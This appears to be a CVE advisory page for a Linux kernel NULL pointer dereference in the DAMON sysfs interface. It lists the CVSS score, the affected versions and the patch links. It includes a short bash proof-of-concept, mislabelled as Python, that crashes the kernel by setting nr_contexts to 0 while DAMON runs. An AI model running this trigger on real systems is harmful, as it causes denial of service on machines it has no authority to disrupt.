CVE-2026-31457

Description

In the Linux kernel, the following vulnerability has been resolved: mm/damon/sysfs: check contexts->nr in repeat_call_fn damon_sysfs_repeat_call_fn() calls damon_sysfs_upd_tuned_intervals(), damon_sysfs_upd_schemes_stats(), and damon_sysfs_upd_schemes_effective_quotas() without checking contexts->nr. If nr_contexts is set to 0 via sysfs while DAMON is running, these functions dereference contexts_arr[0] and cause a NULL pointer dereference. Add the missing check. For example, the issue can be reproduced using DAMON sysfs interface and DAMON user-space tool (damo) [1] like below. $ sudo damo start --refresh_interval 1s $ echo 0 | sudo tee \ /sys/kernel/mm/damon/admin/kdamonds/0/contexts/nr_contexts

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:* - VULNERABLE

Linux Kernel (stable branches prior to fix)

Linux Kernel (prior to commit 3527e9f...)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# PoC for CVE-2026-31457: NULL Pointer Dereference in DAMON
# Requirement: Root access and damo tool installed

# Start DAMON monitoring
sudo damo start --refresh_interval 1s &

# Wait for initialization
sleep 2

# Trigger the vulnerability by setting nr_contexts to 0
echo 0 | sudo tee /sys/kernel/mm/damon/admin/kdamonds/0/contexts/nr_contexts

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31457
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31457
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31457/
[4] VulDB https://vuldb.com/cve/CVE-2026-31457
[5] https://git.kernel.org/stable/c/3527e9fdc38570cea0f6ddb7a2c9303d4044b217
[6] https://git.kernel.org/stable/c/652cd0641a763dd0e846b0d12814977fadb2b7d8
[7] https://git.kernel.org/stable/c/6557004a8b59c7701e695f02be03c7e20ed1cc15

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31457", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:41.133", "lastModified": "2026-05-05T21:21:50.320", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/damon/sysfs: check contexts->nr in repeat_call_fn\n\ndamon_sysfs_repeat_call_fn() calls damon_sysfs_upd_tuned_intervals(),\ndamon_sysfs_upd_schemes_stats(), and\ndamon_sysfs_upd_schemes_effective_quotas() without checking contexts->nr. \nIf nr_contexts is set to 0 via sysfs while DAMON is running, these\nfunctions dereference contexts_arr[0] and cause a NULL pointer\ndereference. Add the missing check.\n\nFor example, the issue can be reproduced using DAMON sysfs interface and\nDAMON user-space tool (damo) [1] like below.\n\n $ sudo damo start --refresh_interval 1s\n $ echo 0 | sudo tee \\\n /sys/kernel/mm/damon/admin/kdamonds/0/contexts/nr_contexts"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.17", "versionEndExcluding": "6.18.21", "matchCriteriaId": "8D13D961-0092-4AE8-81A5-114EBA80D8ED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/3527e9fdc38570cea0f6ddb7a2c9303d4044b217", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/652cd0641a763dd0e846b0d12814977fadb2b7d8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6557004a8b59c7701e695f02be03c7e20ed1cc15", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}